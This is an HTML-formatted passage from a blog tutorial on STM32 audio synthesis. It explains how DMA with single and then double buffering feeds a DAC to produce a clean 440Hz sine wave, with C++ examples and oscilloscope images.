&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;HAL Delay, y u no faster?&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/y-u-no-faster-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-45&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/y-u-no-faster-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 633&quot; alt=&quot;HAL Delay, y u no faster?&quot; title=&quot;HAL Delay, y u no faster?&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/y-u-no-faster-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/y-u-no-faster-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In the next section, we’ll address these issues by combining DAC with timers and DMA.&lt;/p&gt;
&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://deepbluembedded.com/stm32-dac-tutorial-example-hal-code-analog-signal-genreation&quot;&gt;Deep Blue Embedded: STM32 DAC Tutorial&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;direct-memory-access-dma&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#direct-memory-access-dma&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Direct Memory Access (DMA) 💉🧠&lt;/h2&gt;
&lt;p&gt;The final item on our agenda today! Direct Memory Access (DMA) may seem like three random words strung together, but it’s quite a powerful tool in the embedded programmer’s arsenal. How, you ask?&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;DMA enables data transfer without consuming processor resources.&lt;/strong&gt; (Well, it consumes some resources, but mainly for setup.) This frees up the processor to do other things while DMA takes care of moving data. We could use this saved time to prepare the next set of buffers, render the GUI, etc.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;DMA can be used to transfer data from memory-to-peripheral (e.g. DAC, &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;A common asynchronous communication protocol in the embedded world.&quot;&gt;UART&lt;/abbr&gt; &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;transfer&quot;&gt;TX&lt;/abbr&gt;, SPI TX), from peripheral-to-memory (e.g. ADC, UART &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;receive&quot;&gt;RX&lt;/abbr&gt;), across peripherals, or across memory. In this post, we&#39;re concerned with one particular memory-to-peripheral transfer: DAC.&lt;/p&gt;
&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.baeldung.com/cs/dma-controllers&quot;&gt;Baeldung: How Do DMA Controllers Work?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;example-dma-with-single-buffering&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#example-dma-with-single-buffering&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Example: DMA with Single Buffering&lt;/h3&gt;
&lt;p&gt;We&#39;ll now try using DMA with a single buffer, see why this is problematic, and motivate the need for double buffering.
If you’ve read this far, I presume you’ve followed the &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#example-initialising-the-dac&quot;&gt;previous section&lt;/a&gt; by initialising DMA and generating code with CubeMX.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Single buffers... forever alone.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/single-buffer-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-50&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/single-buffer-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 500&quot; alt=&quot;Single buffers... forever alone.&quot; title=&quot;Single buffers... forever alone.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/single-buffer-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/single-buffer-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;DMA introduces syncing issues. After preparing a second round of buffers, how do we know if the first round has already finished?&lt;/p&gt;
&lt;p&gt;As with all processes which depend on a separate event, there are two approaches: &lt;strong&gt;polling&lt;/strong&gt; and &lt;strong&gt;interrupts&lt;/strong&gt;. In this context:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Polling&lt;/strong&gt;: Block and wait until the first round is finished, then send.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Interrupts&lt;/strong&gt;: Trigger an interrupt signal when transfer finishes, and start the next round inside the interrupt handler.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which approach to choose depends on your application.&lt;/p&gt;
&lt;p&gt;In our examples, we’ll poll to check if DMA is finished:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;HAL_DAC_GetState&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;hdac&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; HAL_DAC_STATE_READY&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;With DMA, we’ll first need to &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#buffering&quot;&gt;buffer&lt;/a&gt; an array of samples. Our loop will run like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Buffer samples.&lt;/li&gt;
&lt;li&gt;Wait for DMA to be ready.&lt;/li&gt;
&lt;li&gt;Start the DMA.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Do you notice a flaw in this approach? After starting DMA, we start buffering samples on the next iteration. We risk overwriting the buffer while it’s being sent.&lt;/p&gt;
&lt;p&gt;Let’s try to implement it anyway and play a simple 440Hz sine wave.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;math.h&amp;gt;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// M_PI, sin&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;SAMPLE_RATE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;42000&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;BUFFER_SIZE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;1024&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;FREQUENCY&lt;/span&gt;   &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;440&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;uint16_t&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;uint32_t&lt;/span&gt; t &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Time (in samples).&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Start the timer.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;HAL_TIM_Base_Start&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;htim8&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Prep the buffer.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; t&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; val &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; M_PI &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; FREQUENCY &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; t &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; SAMPLE_RATE&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2047&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; val &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2047&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Scale the value from [-1, 1] to [0, 2^12-1).&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Wait for DAC to be ready, so that the buffer can be modified on the next iteration.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;HAL_DAC_GetState&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;hdac&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; HAL_DAC_STATE_READY&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Start the DMA.&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;HAL_DAC_Start_DMA&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;hdac&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; DAC_CHANNEL_1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;uint32_t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;buffer&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; DAC_ALIGN_12B_R&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The results? As expected, pesky little &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;glitches, disruptions&quot;&gt;artefacts&lt;/abbr&gt; invade our signal since our buffer is updated during DMA transfer. This may result in &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1#clicks&quot;&gt;unpleasant clicks from our speaker&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Artefacts distort the signal, resulting in occasional clips and sound defects.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-glitch-768w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-glitch-768w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 768 / 576&quot; alt=&quot;Artefacts distort the signal, resulting in occasional clips and sound defects.&quot; title=&quot;Artefacts distort the signal, resulting in occasional clips and sound defects.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-glitch-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-glitch-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-glitch-768w.webp 768w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 768px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Prep, wait, start, repeat. Artefacts distort the signal from time to time.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;But what if we prep, then start, then wait? This way, the buffer won&#39;t be overwritten; but this causes the signal to stall while prepping.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn11&quot; id=&quot;fnref11&quot;&gt;11&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a id=&quot;stall-img&quot;&gt;&lt;/a&gt;
&lt;a class=&quot;lightbox-single&quot; title=&quot;Oscilloscope of sine wave with stalls (horizontal breaks with no change).&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-stall-1024w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-stall-1024w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1024 / 768&quot; alt=&quot;Oscilloscope of sine wave with stalls (horizontal breaks with no change).&quot; title=&quot;Oscilloscope of sine wave with stalls (horizontal breaks with no change).&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-stall-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-stall-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-stall-1024w.webp 1024w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1024px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Prep, start, wait, repeat. The signal stalls (shown by horizontal lines) because the DAC isn’t updated while buffering.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;To resolve these issues, we&#39;ll unleash the final weapon in our arsenal.&lt;/p&gt;
&lt;h3 id=&quot;example-dma-with-double-buffering&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#example-dma-with-double-buffering&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Example: DMA with Double Buffering&lt;/h3&gt;
&lt;p&gt;We saw previously how a single buffer spectacularly fails to deal with &amp;quot;concurrent&amp;quot; buffering.
With double buffering, we introduce an additional buffer. While one buffer is being displayed/streamed, the other buffer is updated. This ensures our audio can be delivered in one continuous stream.&lt;/p&gt;
&lt;p&gt;In code, we’ll add another buffer by declaring &lt;code&gt;uint16_t[2][BUFFER_SIZE]&lt;/code&gt; instead of &lt;code&gt;uint16_t[BUFFER_SIZE]&lt;/code&gt;. We’ll also declare a variable &lt;code&gt;curr&lt;/code&gt; (0 or 1) to index which buffer is currently available.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;uint16_t&lt;/span&gt; buffers&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// New: add a second buffer.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;uint8_t&lt;/span&gt; curr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;                 &lt;span class=&quot;token comment&quot;&gt;// Index of current buffer.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;uint32_t&lt;/span&gt; t   &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Start the timer.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;HAL_TIM_Base_Start&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;htim8&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;uint16_t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; buffer &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; buffers&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;curr&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Get the buffer being written.&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// --snip-- Same as before...&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Prep the buffer.&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Wait for DAC to be ready.&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Start the DMA.&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// --snip--&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Point to the other buffer, so that we&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// prepare it while the previous one&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// is being sent.&lt;/span&gt;
    curr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;curr&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Now our 440Hz sine wave is unblemished!&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Pure sine goodness. A proper 440Hz sine rendered on our oscilloscope.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-2-1024w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-2-1024w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1024 / 768&quot; alt=&quot;Pure sine goodness. A proper 440Hz sine rendered on our oscilloscope.&quot; title=&quot;Pure sine goodness. A proper 440Hz sine rendered on our oscilloscope.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-2-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-2-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-2-1024w.webp 1024w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1024px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Waveform of a pure 440Hz sine tone.&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Double buffering is also used for video and displays, where each buffer stores a 2D frame instead of a 1D signal.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;example-playing-multiple-notes-with-dma-and-double-buffering&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#example-playing-multiple-notes-with-dma-and-double-buffering&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Example: Playing Multiple Notes with DMA and Double Buffering 🎶&lt;/h3&gt;
&lt;p&gt;With some minor changes, we can make our device generate audio for multiple notes. Let’s go ahead and play an A major chord!&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Prep the buffer.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;uint16_t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; buffer &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; buffers&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;curr&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; t&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Compute value for each note.&lt;/span&gt;
